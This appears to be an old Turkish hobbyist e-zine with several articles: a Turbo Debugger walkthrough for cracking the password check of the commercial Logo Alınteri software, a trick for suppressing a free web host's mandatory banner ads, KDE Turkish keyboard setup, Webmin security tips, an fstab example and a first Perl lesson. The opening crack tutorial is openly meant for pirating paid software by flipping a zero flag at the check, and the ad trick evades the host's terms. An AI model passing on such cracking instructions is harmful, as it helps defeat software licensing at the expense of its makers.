Dos multitasking bir işletim sistemi değildir. Yani aynı anda birden fazla görevi yapamaz. Görev dağılımı için kullanılan yöntem interruptlardır. Peki bu ne işeme yarıyor derseniz, bu şu işe yarar: Siz bir debuggera programı yükleyip o programın her komutunu hiç atlamadan teker teker çalıştırabilirsiniz! Windows da bunu yapamazsınız çünkü program bir yere ilerleyince olaya multitasking karışır. Dosta ise sadece elite programcıların programlarında bazı fakeler ile bu tip şeyler yaparlar ki logo, mikro ve diğer bir çok program yazarları bu elite kesimin varlığından bile haberdar değiller. Sonuç olarak bir çok türk yapımı dos programını debuggerda çalıştırıp, adım adım ilerleyerek şifre istiyen kısmını bulup bunu iptal edebilirsiniz! Bunun için çok az bir assembly bilgisi, dikkatli gözler ve biraz sabıra ihtiyacınız olacak. İşte bu yapacağınız ve benim birazdan size adım adım gösterceğim olay "trace engineering".

Şimdi bize gerekenler bir adet debugger ve bir adet logo alınteri. Logo alınterinin veya debuggerin birden fazla olması işimizi kolaylaştırmaz. Boşuna sağdan soldan download etmeyin! :)
Ben size dos altında bu tip basit programları kırmak için turbo debugger (TD)'ı öneririm. Ben onunla hemen hemen tüm logoları, mikro 8.x ve 9.0'ı kırdım. TD, borland'ın pascal ve c++ paketleriyle gelen kullanımı kolay bir programdır. Şimdi debugger nedir hiç duymayanlar için söyliyeyim: Bunlar aslında programlarda oluşan "bug"ları temizlemek amacıyla yapılmış programın exe halini yükleyip assembly kodları şeklinde görünmesini sağlayan ve bu kodların adım adım çalıştırılabildiği programlardır. Evet gerekenler hazırsa başlayalım:

Önce Logo Alınteri programını hdnize kurun. Kurulum tamamlanmasına bir adım kala size sifre programını çalıştırıp çalıştırmayacağınızı soracaktır. Bu programın adı sifre.exe dir. Ve programı yükleme tamamlandıktan sonra manuel olarak çalıştırabiliriz. Bu yüzden bu soruya hayır diyoruz. Logo daki kibar arkadaşlar bu sifre programının çalıştırılması gerektiğini söyleyip programı kapatıyorlar. Bu işlem bitince td.exe programını logonun kurulduğu dizine kopyalayıp ve TDyi çalıştırıyoruz, karşımıza şöyle bir ekran çıkıyor:

Eğer tdyi çalıştırırken parametre olarak sifre.exe derseniz program direk TD tarafından yüklenir. Eğer böyle yapmadıysanız File menusunden Open'ı seçin. Karşınıza çıkan pencereden sifre.exe yi seçerek programı yükleyin.
Tamam td size programın sembol tablosunun olmadığına dair bir mesaj verecek. Bunu ok ile geçiyoruz. Ve şimdi crack işlemine hazırız. Ben elimde kalem kağıt sizin için notlar alarak yaptığım halde bu işi 15dk da hallettim. Yani bu iş pek zor değil. Yalnız sizi görevinize hazırlamam gerek. :)

işte trace engineering de bilmeniz gerekenler:
Ekrana dikkatlice bakınca ekranın 5 bölüme ayrıldığını görüyoruz. En büyüğü kodların gösterildiği bölüm. Bu bölümde şu tip yazılar var:

cs:0100 0000   add [bx+si],al
cs:0100 0002   add [bx+si],al
cs:0100 0004   add [bx+si],al

Bu şu anlama geliyor... (cs)  code segmentin (:0100) 100. lokasyonunda (0000 ) 0000 wordu var. Ve bu "add [bx+si],al" komutuna karşılık geliyor. Bu sizi korkutmasın! Biz bu crackde sadece cs:0100 kısmına (ki bu bizim programın içinde nerde olduğumuzu gösterir) ve "add [bx+si],al" yazan kısma yani programda hangi komut çalıştırılacak ona bakıyoruz. Sanırım şu an hangi kodun işleneceğini gösteren ">" işaretini fark etmişşinizdir.
Trace engineering yaparken dikkat edeceğimiz assembly komutları:

je    xxxx       <-- Bir önceki sonuç doğru ise xxxx'e git (mesela şifre doğru mu ? :)
jne  xxxx        <--- Bir önceki sonuç yanlış ise xxxxx'e git.
jmp  xxxx       <---- xxxxx'e git. Basicdeki goto, pascaldaki jump gibi...
call  xxxxx      <--- xxxx deki prosedürü çağır. İşlem bitince kaldığın yerden devam et! Basicdeki gosub pascalda ki prosedür çağırma gibi...

Not: xxxx yerine adresler gelecektir. Bu adresler 1201:1212 gibi uzun veya 1233 gibi kısa olabilir.

Birde TDde tanımlı fonksiyon tuşlarından bahsedeyim:
F2) Breakpoint koyar/kaldırır.
F4) Seçili olan alana kadar programı çalıştırır.
F7) TRACE: Bir komut çalıştırır.
F8) STEP: Bir adım atlar! Bu call fonksiyonlarının tamamının çalıştırılmasına sebep olur.
F9) Programı çalıştırır. (Bir yerlere breakpoint koyup programı çalıştırırsak breakpointe gelince program çalışmayı kesip debuggera döner! Yani kontrol yeniden bize geçer. )

Şimdi biz başta call fonksiyonlarını hızlı hızlı geçeceğiz bunu için F8 bize çok yardımcı olacak. Bazı callların ise çağırdığı fonksiyonu incelemek istiyeceğiz. Bu durumda F7ye basıp fonksiyonun her komutunu teker teker çalıştıracağız.

Şimdi başlayalım:
sifre.exe yüklendiyse F8'e basmaya başlıyoruz. Ekran titriyor çünkü arka planda program dos ekranına yazı felan yazıyor. Bunu görmek için arada sırada ATL+F5 tuşuna basabilirsiniz. Biz elimizi pek F8den çekmiyoruz... Gözümüzün önünde kodlar akıyor... Ve birden sifre.exenin bize kod soran ekranı ile karşılaşıyoruz? Herhangi bir tuşa basıp buranın kapanıp kapanmayacağına bakıyoruz ama debuggera dönüş olmuyor! Noldu? Biz büyük bir prosedür çağırdık (aslında ben bu prosedürün pascaldaki ana begin ve end kısmı olduğunu biliyorum ama olsun biz yinede bu bilgiyi bilmediğimizi varsayalım). Bu büyük prosedür program bitmeden geri dönmüyor! o yüzden debuggera geri dönemiyoruz. Aslında dönme şansımız var ama biz bunun basit crack olayını aştığı için görmeyeceğiz. Evet sifreyi bilmediğimizden programdan çıkış için F3e basıyoruz! Bu logo programının F3ü, debugger ile ilgisi yok.
Karşımıza yeniden debuggerin ekranı geliyor. Ve hemen borlanddakilerin logoculardan daha iyi bir renk zevkine sahip olduğunu anlıyoruz.
Şimdi karşımızda şöyle bir kod var:
cs:xxxx    9A4E099B5B                     call 5B9B:094E
cs:xxxx > 833EDE0204                     cmp word ptr [02DE],0004       (Şu an bu kodun üzerindesiniz!!!)

sizde sayılar değişik olabilir, ama her şey şu ana kadar doğru gittiyse "cmp word ptr [02DE],0004" komutunu görüyor olmanız lazım. Tabi ki logo alınterinin sizdeki versiyonu farklı olabilir!
Burdayken şunu yapacağız: Bir önceki fonksiyon (call xxxx:xxxx) bizim hedef fonksiyonumuz. Bu yüzden onu bir dahaki sefere F8 ile geçmeyeceğiz. Bunun yerine F7 ile fonksiyonun içine gireceğiz. Yeniden bu fonksiyonun üzerine gelmek için yön tuşlarını kullanarak (Yukarı) o call koduna çıkıyoruz ve iki kez F4 tuşuna basıyoruz. 1. sinde program sonlanıyor (çünkü prosedürün bittiği yer sadece begin end'in sonu birde ilk başta yapılan hazırlamaların kapatılması gerek bunun içinde bizi ilgilendirmeyen bir kaç (x100) kodun işlenmesi gerekecek). 2. F4te program o lokasyona kadar çalıştırılıp duruyor.
Şimdi yine karşımızda şu var:
cs:xxxx > 9A4E099B5B                     call 5B9B:094E                       (Şu an bu kodun üzerindesiniz!!!)
cs:xxxx    833EDE0204                     cmp word ptr [02DE],0004

Evet F7ye basıp ilk önce yaptıklarımızı tekrar ediyoruz. Yani karşımıza şifre ekranı çıkana kadar F8e basıyoruz.
Bunu 4 kez tekrarlıyacağız. Her seferinde ekranın çıktığı ve sonra programdan çık dediğimizde debuggera dönülen yerler şöyle olacak (sayılar değişebilir) ( Bu arada karşımıza şifre soran ekran çıkınca önce "1" felan gibi bir şey yazıp nolduğuna bakıyoruz. Eğer tuşa basınca debuggera dönersek taktiğimizi değiştireceğiz! ):

cs:xxxx    9AFE870A60                     call 600A:87FF
cs:xxxx > 813EF0172F                      cmp word ptr [17E0],012F      (Şu an bu kodun üzerindesiniz!!!)

cs:xxxx    E807FF                            call 8768
cs:xxxx > 80BE29FE00                      cmp word ptr [0107],0000      (Şu an bu kodun üzerindesiniz!!!)

cs:xxxx    E8ECE2                            call 6AAD
cs:xxxx > 8B7E06                            mov di, [bp+06]                    (Şu an bu kodun üzerindesiniz!!!)

cs:xxxx    E8A2EA                            call 55A4
cs:xxxx > EB4A                                jmp 6B4E                             (Şu an bu kodun üzerindesiniz!!!)

Bunda da üste çıkıp F4+F4 sonrada F7 yapıyoruz. Sonra F8e basmaya başlıyoruz. Ekrana şifre soran kısım çıkıyor. Hani ya olmaz ama deneyim diyip 6. kez "1" tuşuna basıyoruz... Basar basmaz bakıyoruz debuggerdayız yani bulunduğumuz nokta klavyeden karakter okuyan nokta! Bu iyi gelişme artık programı sürekli baştan başlatmayacağız. Bunun yerine şifre yazıp onu kabul ettirmeye çalışacağız. Bunun için breakpoint koyacağız.

Şimdi yine karşımızda şu var:
cs:xxxx    9A7505BB72                     call 72BB:0575
cs:xxxx > C6869CFD00                     mov byte ptr [bp-0264], 00     (Şu an bu kodun üzerindesiniz!!!)

Ok tuşuyla üste çıkıp bir kez F2 ye basıyoruz. Ok tuşuyla aşşağıya indiğimizde artık orası şu şekilde gözükmeli (Rengi değişmiş olarak):
 

cs:xxxx    9A7505BB72                     call 72BB:0575

Şimdi biz programın yeniden karakter girmesini bekliyoruz. Bu kısmıda breakpointle işaretlediğimize göre F9a basıp breakpointe yeniden gelmesini bekliyoruz. Karşımıza yeniden karakter ekranı çıktı burda F2ye basıyoruz. Logo programında şifremi kontrol et tuşu! Bu tuşlar programın en altında yazıyor. Programı çalıştırınca olayı daha rahat anlarsınız. Neyse tabiki yine debuggerdayız ve bu sefer F8le yolumuza devam ediyoruz. Bakalım bize nasıl bir hata mesajı verecek ve nerde? F8le giderken birden sifre.exenin ekranı karşımıza çıkıyor ve bize şifrenin yanlış olduğunu söylüyor. Devam etmek için "space" tuşuna basmalıymışız. Bizde onları kırmayıp ( nede olsa sonra kıracağız!!!) space'e basıyoruz. Ve şimdi karşımızda şu var:

cs:xxxx    E88DF9                           call 5275
cs:xxxx > 88869DFD                        mov [bp-0263], al     (Şu an bu kodun üzerindesiniz!!!)

Burası madem bize hata verdi, buraya gelirken bir şifre kontrolü yapılmış olmalı diyoruz. Bu koduda F2 ile işaretleyip programı F9 ile başlatıyoruz (bitiyor). Sonra yine F9 ve biz hemen şifrenin klavyeden okunduğu kısımdayız (orayada F2 ile breakpoint koyduk ya! ;). Hemen sifre.exe ekranı açıkken F2ye basıyoruz. Ve debuggera dönünce F8 ile teker teker ama bu sefer daha yavaş ilerliyoruz. Geçtiğimiz yerlerdeki je,jne komutlarına bakıyoruz. Ama panik yok! Altı üstü logo kıracağız... İlerliyoruz ve birden karşımıza kırmızı ile işaretlenmiş (breakpoint konulmuş) bir komut görünüyor. Burası bize hata veren yer. Şu an bulunduğumuz yer ile oranın arasında je,jne,jmplerden sadece 1 tane var:

cs:xxxx    xxxxxxxxxx                       xxxxxxxxxxxxxxx          (Bulunduğumuz yer)
.....
cs:xxxx    26803000                        cmp es:byte ptr [di], 00
cs:xxxx    7426                               je 58EE                       (doğru ise git)
......
cs:xxxx    E88DF9                           call 5275                     (Bize hata veren yer!)
cs:xxxx    88869DFD                        mov [bp-0263], al

Hedef belirlendiğine göre, "je 58EE" koduna kadar F8e basıyoruz. Kodun üzerine geldiğimizde, "c=0, z=0, s=0 ..." gibi flaglerin bulunduğu bölümde z=0 yazan yere mouse ile tıklıyoruz.  Bunlar flaglerdir ve flaglerin bir önceki işlemin sonucunda ortaya ne çıktığını saklarlar. Bize lazım olan z (zero = sıfır = eşit!!! ) flagi. bunu z=1 yapıyoruz. Deneyip yapabilirsiniz eminim :) Ve bu programa bir önceki işlemde sonucun sıfır, bir diğer deyişle eşit çıktığını söylüyor. ve kod bölümüne baktığımızda je 58EE kodunun yanında aşşağı doğru ok işaretinin çıktığını görüyoruz. Bu komutun çalışacağını ve 58EE olan yere gidileceğini söylüyor. Programın devamının çalışması için F9a basıyoruz ve logo daki amcalar "kur işleminin başarıyla tamamlandığını" bize müjdeliyorlar. :)

Tebrikler, 15dk içine logo programlarının nasıl kırıldığını anlamış oldunuz. ;-)

Hazırlayan:
MiSoSkiaN ;misoskian@bigfoot.com ( veya misoskian@trscene.org !!! )


Hypermart.Net'in Bannerinin Kaldırılması

Öncelikle şunu söyleyeyim ki siteniz olsun istiyorsanız yasal yollardan kendinize bir site edinmenizi tavsiye ederim. Önce xoom'da veya geocities'den URLsi hoş olmayan bir yer alın. Sonrada cjb.net ve come.to servislerini kullanarak sitenize akılda kalıcı bir URL alın. Bu sayede sitenizi bir başka server'a taşıdığınızda adres değişikliği de yapmazsınız. Ama yok ben beş dolar vermeden kendime www.ahmet.com diye yer alacam, sayfadan sayfaya dolaşırken ziyaretçimin gözüne hiç bir şekilde küçük pencereler, reklam bannerları sokmayacam diyorsanız işte size basit bir yol:

1) Önce gidin kendinize www.hypermart.net den 10mb yer alın. Burda ki bilgileri kafanıza göre doldurun. Yalnız email adresinizi doğru verin.
2) Sonra biraz bekleyin mesela quake oynayın, gidip bir capcom emülatörü (callus) ve yaında bir iki rom çekin (punisher süper!!!) sonrada onunla zaman geçirin.
3) Mailiniz geldiyse mailde verilen onay konudu belirtilen adrese gidip kullanıcı adnızla birlikte yazın. Bu biraz karmaşık oldu diyorsanız siz gidip biraz daha capcom oyunu oynayın (2 yıl kadar).
4) 1 saat içinde isminiz.hypermart.net şeklinde bir adrese ve 10mb yere sahip olacaksınız. 4-5 gün sonra ise www.isminiz.com diye bir adresiniz olacak.
5) Diyelim ki sayfanızı ftp ile yerleştirdiniz. Ve favori browserinizla (Netscape) sayfanıza baktınız... Tataaam.... Ne gördünüz? Sizi ve ziyaretçilerinizi gıcık edecek bir reklam. Her sayfanızda açılan bu iğrenç pencereyi, hypermart yok etmek için sizden yılda 79 dolar istiyor. Bunun yanında size 10mb ekstra yer daha veriyor. Aslında fena bir teklif olmamasına rağmen biz kafamızı kullanarak bundan kurtuluyoruz. Nasıl mı? Her sayfaya <head> ile </head> tagları arasına,

<script language="javascript">
<!--
/*
<!--#echo banner="" -->
*/
--!>
</script>

yazıyorsunuz. Ve işte artık sinir bozucu otomatik reklam penceresi yok. Peki meraklı okuyucularım için bunu nasıl bulduğumuda anlatayım, çünkü bu %100 bana ait bir yöntem.

Önce baya bir zaman hypermatdan sitemi yayınlattım ve iğrenç pencerelerin gözümün önünde açılmasını seyrettim. Tabi 2 veya 3 aylık "sitemde var adıda güzel" mutluluğu (cicim ayları) geçince ben de yaw bu böyle olmaz buna çare olmalı dedim. Bana hypermart'dan gelen ilk mailde istersem pencereleri kapatıp reklamlarının sayfaya direk olarak yerleştirebileceğim yazıyordu. Bunun için sayfama <!--#echo banner="" --> yazısını yerleştirmem gerektiğini, bunu yerleştirince reklam pencerelerinin açılmayacağı söyleniyordu. İlk okuduğumda "hadi layn" dediğim bu fikir birden bana cazip geldi. Şimdi bu olay nasıl çalışıyor diye düşündüm. Ve olayı çözdüm (yanlış anlaşılma olmasın bunun için günlerce düşünmedim :)
Browser (yani netscape (lamerlar için iE)) serverdan bizim sayfayı istiyor, o zaman server sayfa varmı diye bakıyor (buraya kadar nomal prosedür!) sonra sayfa varsa sayfada <!--#echo banner="" --> stringini arıyor. Bulamazsa sayfanın sonuna reklam penceresini açan javascript kodunu ekliyor!! Yani java scripti aktif olmayan biri bu küçük pencereleri göremez! Neyse peki bu <!--#echo banner="" --> stringini bulunca ne yapıyor? O zaman server bu string yerine reklamın görüntülenmesi için gereken html kodunu yerleştiriyor. Yani bu tip serverlar aslında gerçekte olan sayfayı değil değiştirilmiş olan sayfayı browsera yolluyorlar. Tamam peki biz napıyoruz <!--#echo banner="" --> i sayfamıza javascript kodunun arasına yerleştiriyoruz!! Ve sihirli /* */ işaretlerini koyarak bundan sonraki kısmın javascript tarafından okunmamasını sağlıyoruz. Bunlar /* */ C dilinde de var olan (aslında C'den java'ya geçen) REM işaretleri. Böylece server htmli javascript kodunun /* il */ arasına yerleştiriliyor... Buda browserin onu okumamasını sağlıyor! Ve hiç hata da oluşmuyor.
Şimdi küçük bir ev ödevi: neden // değilde /* */ kullandık? (  "// <!--#echo banner="" --> "'ın nesi vardı?)

Hazırlayan:
MiSoSkiaN ; misoskian@bigfoot.com ( veya misoskian@trscene.org !!! )


 

KDE Klavye Düzeni

Selamlar, hemen her bilgisayar kaynağı linux hakkında yazılar çıkarmaya başladılar, ne mutlu! Kimisi kurulum anlatiyor, kimisi yeniliklerden bahsediyor... Anlaşılan Bill Gates`in suyu ısınıyor, windows artik linux'e boyun eğmek zorunda gibi gozukuyor. Ben de sizlere ilk kez ulaştığım bu yazımda kde ile ilgili bir iki ipucu vereceğim.

Bildiğiniz gibi Türkiye Linux Kullanıcıları Grubu ve Türkiyedeki bir kısım linux sevenler bir linux dağıtımı çıkaıyorlar. Adı da Turkuaz, mutlaka denemenizi oneririm, son surumu olan sarman 1.2.1 de oldukca olumlu degisiklikler goze carpiyor, ftp den kurulumu da cabasi :-) Ben bir windows kurana kadar iki tane sarman kurdum (sadece 14 dakika 35 saniye sürdü :-) ve buyuk keyif aldim) Sonra dagitimi inceleme firsatim oldugunda ise sasirmadigimi soylersem yalan olur, tum programlar guncellenmis (tekire nazaran) kernel 2.2.6 surume gecilmis, kde 1.1, gnome, enlightenment vs.. pencere denetleyicileri, chat, ftp,fax programlari ve hic bilmeyen birini tutup ortalama linux kullanıcısı duzeyine cikarabilecek kadar iyi hazirlanmis bir yardim klavuzu TEK. Bu klavuzu Sarman iniz olamsa bile okuyun :)

Simdi bu kadar guzel sozun arkasindan kde denetleyicisini calistirdim ve biraz uzuldum; klevye duzeni konsoldaki tr-q dan farkliydi ve fontlarda turkce duzeninde degildi. Bunlari nasil ayarladigimi anlatmak istiyorum...

Göreceğiniz gibi KDE'yi ilk çalıştırdığınızda $home dizininizde .kde isimli bir klasör yaratılacaktır. Bu klasörün içinde config klasörü ve bunun içinde de kikbdrc isimli bir dosya göreceksiniz. Bu dosyayı uygun şekilde değiştirmeniz gerekecek. Aşağıda bir örneği görülen dosyada yapmanız gereken değişiklik sadece 6, 8 ve son satırdaki gibidir. Bundan sonraki aşama root olarak ekte verilen tr.kimap dosyasini KDE'nin kurulduğu klasördeki (sarman da /usr/kde) share/apps/kikbdc/ nin icine kopyalamak. Artik her kde yi açtığınızda türkçe klevye düzenini ve ya eklediğiniz diğer düzenleri systray da ki ikon aracılığıyla "beep" eşliğinde değiştirebilirsiniz.

Aşağıdaki iki dosyayı yükleyerek ilgili yerlere kopyalayın ve user ayarlarını yapın.

kikbdrc, kikbd için ayar dosyası.
tr.kimap, kikbd için Türkçe-q klevye düzeni

#cp kikbdrc ~$USERNAME/.kde/share/config
#cp tr.kimap ~$KDEHOME/share/apps/kikbd
#chmod 644 ~$KDEHOME/share/apps/kikbd
#chmod 644 ~$USERNAME/.kde/share/config/kikbdrc
#chown $USERNAME.$GROUP ~$USERNAME/.kde/share/config/kikbdrc

Burada KDEHOME, kde'nin kurulduğu dizini; ~$USERNAME, kullanıcının ev dizinini; $USERNAME, kullanıcı adını; $GROUP, kullanıcı grubunu temsil eder.

Gelelim font ayarlarına... Öncelikle sisteminizde türkçe fontlar olduğundan emin olmalısınız. ISO8859-9 fontlarınız yüklü ise X sunucunuzun ayar dosyasına fontların yollarını vermek gerekir. Ben XF86'nın 3.3.1 sürümünü kullanıyorum ve aşağıda dosyaya eklediğim komutlar var (siz daha fazlasını eklemekte özgürsünüz :)

FonthPath "/usr/X11R6/lib/X11/fonts/tr_100dpi"
FonthPath "/usr/X11R6/lib/X11/fonts/tr_75dpi"
FonthPath "/usr/X11R6/lib/X11/fonts/tr_misc"

Bu düzenlemeden sonra KDE nin font ayarları pencerelerinde iso 8859-9 fontlarını kullanabilrisiniz.

Görüşmek dileğiyle...

Hazırlayan:
Pasha ; pasha@trscene.org


Sistem Yönetimi Artık Çok Kolay
Root olanlar hatırlar, eskiden vi editörü ile /ect klasörünü satır satır düzenler bir sistemi kullanılır hale getirmek için çalışır dururduk. Çoğu yeni kullanıcı ise bazı ayarları yapamaz ve o "howto" senin bu "man" benim eline ne geçerse okur, bir şeyler çıkarmaya çalışırdı. Linux'un belki diğer işletim sistemlerine göre geride kaldığı(bunu ben bir geri kalmışlık olarak değerlendirmiyorum, çünkü işini bilmeyen NT yöneticlerinin neler yaptığı ortada. Aylardr yazılan çizilen bir virüse mat olup yüzlerce bilgisayarını kaybeden bir sistemin yöneticisi olamaz!!!), ayarları ancak bilenlerin yapabilmesi konusu, WEBMIN adındaki bir program sayesinde oldukça kolaylaştırılmış. Webmin sistem dosyalarını WEB üzerinden değiştirme ve ayarlama olanağı sunuyor. Bu program sayesinde bir iki mouse hareketiyle alan adı sunucusu kurabilir(domain name server), kullanıcı kotalarını düzenleyebilir ve ya sisteme yeni bir sabit sürücü ekleyebilirsiniz. Bu yazı bu programın kurulumunu anlatmamaktadır. Sadece bu program hakkında önemli bir iki noktayı sizlere iletmek istiyorum.

WEBMIN programını size yakın herhangi bir linux arşivinde rahatlıkla bulabilirsiniz. Aramak için: http://ftpsearch.lycos.com adresini kullanabilirsiniz.

Bu programı başarıyla kurduğunuzu varsayıyorum. Öntanımlı olarak programın şu an bizi ilgilendiren kısmı /etc/webmin klasöründedir. Burada start, stop adında iki çalıştırılabilir dosya göreceksiniz. Bu dosyalar WEBMIN'in kendi HTTP server programını çalıştırır. Bu program WEB üzerinden çalıştığı için iyi ayarlanmadığı takdirde sistem için ciddi bir tehlike oluşturmaktadır, bu yüzden kendinize güvenmiyorsanız programı sadece ihtiyacınız olduğu zaman çalıştırın. Eğer kendinize güveniyorsanız, zaten performans yönetimini bildiğinizden bu programı sürekli çalıştırmayacaksınız ve güvenlik kısmına +1 puan eklemiş olacaksınız.

webmin giriş sayfası
WEBMIN ayarlarında iki nokta önemlidir. Birincisi webmin kullanıcılarını belirlemek ve haklarını düzenlemek, ikincisi ise bu kullanıcıların güvenli bir şekilde webmini kullanmasını sağlamaktır.
webmin kullanıcıları
yeni webmin kullanıcıları
Eğer sisteminiz büyükse güvendiğiniz bir kaç kişiyle iş bölümü yapabilirsiniz. Yeni webmin kullanıcısı oluştururken dikkatli olun herkese aynı yetkiyi verirseniz işin içinden çıkamazsınız.
Dikkat edilmesi gereken bir diğer nokta da şifrelerin seçimidir. Aşağıdaki tabloda saniyede 10.000 karakter kümesi deneyebilen bir bilgisayar ve program ile, seçilen şifre çeşitlerinin kırılma süreleri verilmiştir. Bu tabloyu dikkatle incelerseniz ne demek istediğimi daha iyi anlarsınız.

Karakter
Sayısı
a-z
(26 karakter)
a-z & A-Z vb.
(96 Karakter)
Tüm ASCII kodları
(256 karakter)
3 2 saniye 1 dakika 27 dakika
4 1 dakika 2.35 saat 4 gün
5 19 dakika 9 gün 3 yıl
6 8.6 saat 2 yıl 891 yıl
7 9 gün 238 yıl 2283 yüzyıl
8 241 gün 228 yüzyıl 584.546 yüzyıl
9 17 yıl 21.945 yüzyıl 149.643.989 yüzyıl
10 447 yıl 2.106.744 yüzyıl 38.308.861.211 yüzyıl


Tabi bu tablodakiler rastlansal seçilen şifreler için geçerlidir. eğer tüm 10 karakteri aynı alırsanız bunu kırmak 1 saniye bile sürmeyebilir. Bu yüzden mümkün olduunca komplex ve tahmin edilemeyen şifreler kullanın. Soyadınızı şifre olarak vermek kötü bir fikirdir. Username i şifre olarak vermek kötüden öte bir fikirdir. Doğum tarihiniz, okul numaranız, partneriniz adı vs.. vermemelisiniz.12345, qwerty, abcdef, 1a2b3c gibi kombinasyonlar kullanmayın. Şifrenizi bilgisayarın üstünde yazan birşey olarak seçmeyin, monitörün üstnde de bırakmayın. Eğer bir sistem yöneticisi iseniz kullanıcılarınızı bu yönde eğitin, belirli aralıklarla şifrelerini değiştirmelerini sağlayın, dahası bir cracker olun ve kırmaya çalışın, kırdıklarınızı ciddi bir şekilde uyarın. Sanırım şifre kırıcı programı nerden bulurum diye sormayacaksınız :) bu iyi...

webmin ayarları
webmin erişim ayarları Kutu içindeki network adreslerinden gelecek çağrılara yanıt vermesini sağlayabilirsiniz. Bence en güvenli yol herkesin erişinmini kısıtladıktan sonra belirli kişi veya makinelere verilen erişim izni vermektir.
webmin erişim ayarları Listen Port webmin sunucusunun hangi portu kullanacağını belirtir. Öntanımlı olarak 10000. port kullanılmaktadır, bunun değiştirilmesi bir kaç lamer'ı sistemden uzak utmak için yeterlidir.

Hazırlayan:
pasha ; pasha@trscene.org


Disk Yönetimi
#/etc/fstab 
/dev/hda1		/mnt/nt			ntfs	defaults								0 0
/dev/hda2		/mnt/win			vfat	defaults								0 0
/dev/hda3		/home			ext2	ugrpquota, usrquota,nodev 					0 0
/dev/hda5		/var/spool			ext2	noexec, grpquota,usrquota,nodev,sync 		0 2
/dev/hda6		swap				swap	defaults								0 0
/dev/hda7		/				ext2	defaults								1 1
/dev/hdb1		/home/ftp/pub/lin 	ext2	efaults,noexec,grpquota,usrquota,nodev,sync 	0 0
/dev/hdb2 		/home/ftp/pub/win	ext2	defaults, noexec,grpquota,usrquota,nodev,sync	0 0
/dev/cdrom	/mnt/cdrom		iso9660	defaults, noauto, noexec				0 0

Yukarıdaki fstab dosyası benim bilgisayarımın dosya sistemi tablosudur. Buradaki ilk sütun partitionları, ikincisi bağlanma yerlerini, üçüncüsü dosya sistemi türünü, dördüncüsü opsiyonları ve beşincide fsck ile ilgili opsiyonları göstermektedir. Bu dosya aksi belirtilmedikçe açılış sırasında otomatik olarak okunur ve her satırdaki bilgiler değerlendirilip işleme sokulur.(man mount) Burada güvenlik gerekçesiyle noexec, nouser, noauto ve sistemin işlerliğini koruyabilmek için de usrquota, grpquota, sync gibi opsiyonlar kullandık. Eğer noexec herhnangi bir partitionda belirtilmişse o partitionda hiçbir dosya çalıştırılamaz. dolayısıyla kullanıcıların sisteme yapacağı olası ataklar bir miktar engellenmiş olur. Etiklere uygun kullanın, kullanıcılarınızı fazla sınırlamayın ;) Kotalarınızı makul ölçülerde tutun. (kota koyabilmek için kernel desteğiniz olamsı ve kota koymak istediğiniz partition ın usrquota veya grpquota gibi opsiyonlarile mount edilmiş olması gerekir) bunları gene webmin ile rahatlıkla ayarlayabilirsiniz. Aşağıdaki resimleri inceleyin. Diskinizde zarar görmesini istemediğiniz dosyalar varsa mutlaka yedekleyin. yedekleme herzaman için en güvenilir çözümdür... Bunlara ek olarak aşağıdaki manuelleri ve bu manuellerin içinde "see also" ile adı anılanları okuyun...

fsck
tar

Hazırlayan:
Pasha ; pasha@trscene.org


Perl İle Programlama -1-

Sizlerle tam olarak ne kadar süreceğini bilmediğim bir yazı dizisine başlıyoruz. 6-7 ay boyunca sizlere perl yazacağım. Umarım faydasını görürsünüz. Bu programlama dilini öğrenmek için başka bir dil blmeniz gerekmiyor. (c bilenler kolay öğreniyormuş diyorlar...) PERL (bu bir akronimdir, kısaltma mı desek?, ve açılımı Practical Extraction and Report Language idir.) dili açılımından da anlaşılacağı gibi oldukça pratik olduğu için tercih edilir, ve diğer dillere üstünlüğü derleme gerektirmemesidir. Herhangi bir text editörü ile kolaylıkla yazılabilir ve derlemeden çalıştırılabilir(Aslında çalışma sırasında derlenir) . C kadar güçlü bir dil olan PERL sed ve awk gibi betik (script) dillerinin tüm özelliklerine sahiptir. Ben linux kullandığınızı umarak size perl derleyicisinin yolunu tahmini olarak vereyim: özel bir kurulum yapılmadığı sürece, öntanımlı olarak sürüme göre `/usr/local/bin/perl' veya `/usr/bin/perl' olmalıdır. find komutunu kullanarak da bulabilirsiniz (man find) fazla bilgi göz çıkarmaz :) Hani derlemeyecektik, neden perl'in yolunu bilmemiz gerekiyor? Çünkü perl, ve diğer betik dilleri çalışma sırasında derlendiklerinden ne ile derleneceklerini bilmek isterler. Bunun için programı yazdığınız dosyanın içinde bunu belirtmelisiniz.

#!/usr/bin/perl
#Yukarıdaki satır olmadan olmaz.
#Bunlar yorum satırlarıdır. Çoğu programcı iyi bir yorumcudur.
#Aman ilk satır da yorum satırı çıkarayım demeyin bakınız ünlem var:).
print "<print> komutu birsey YAZDIRIR.\n"

Yukarıdak kodu çalıştırmanız için bunu bir dosyaya kaydedelim.

~/perlbetikleri/001.pl uygundur :)
Sonra bu dosyayı çalıştırılabilir (yoksa koşturulabilir miydi?) yapmalıyız.
[user@host perlbetikleri]$chmod +x 001.pl
Şimdi betiğimizi çalıştırabiliriz (<CR> dediğim yerlerde enter tuşuna basacağız, tamam mı?):

[user@host perlbetikleri]$001.pl <CR>
<print> komutu birsey YAZDIRIR.
[user@host perlbetikleri]$

Herşey yolunda giderse yukarıdaki gibi bir şey görmeliyiz. Şimdi biraz derine inelim ve sahip olduğumuz tek satırı inceleyelim :) Anladığınız üzere print komutu tırnak içindekileri bizim standart çıkışımız olan konsola yazdırdı. Peki \n neden yazdırmadı? Çünkü \n in özel bir anlamı var : Yeni satır ekle demek. dolayısıyla \n gördüğü zaman bir alt satıra geçecek. Şimdi size ödev \n i kaldırın bakalım nasıl bir çıkış göreceksiniz. Cevaplarınızı projman@hypermart.net adresine gönderebilirsiniz :) Doğru cevapları projman şeker ile ödüllendirecekmiş :p. Bir kaç satır daha yazmaya ne dersiniz? Şöyle bir değişiklik yapalım:

#!/usr/bin/perl
#perl öğreniyoruz...
print "Ben bir papaganim.\n";
print "inanmiyorsan biseyler yaz :";
$inputline = <STDIN>;      #yorumlar böyle abuk yerlere de
print ($inputline);               #yazılabilir.
print "Tatmin oldun mu? he he\n"

Şimdi betiğimizi kaydedip çalıştıralım bakalım neler oluyor?

[user@host perlbetikleri]$002.pl <CR>
Ben bir papaganim.
inanmiyorsan biseyler yaz :_

"_" karakteri yani işaretçiniz sizden birşeyler yazmanızı bekliyor (bu arada ödevin kopyasını da vermiş olduk :^) bizde yazalim...

--kesildi
inanmiyorsan biseyler yaz :selam_ <CR>
selam
Tatmin oldun mu? he he
[user@host perlbetikleri]$

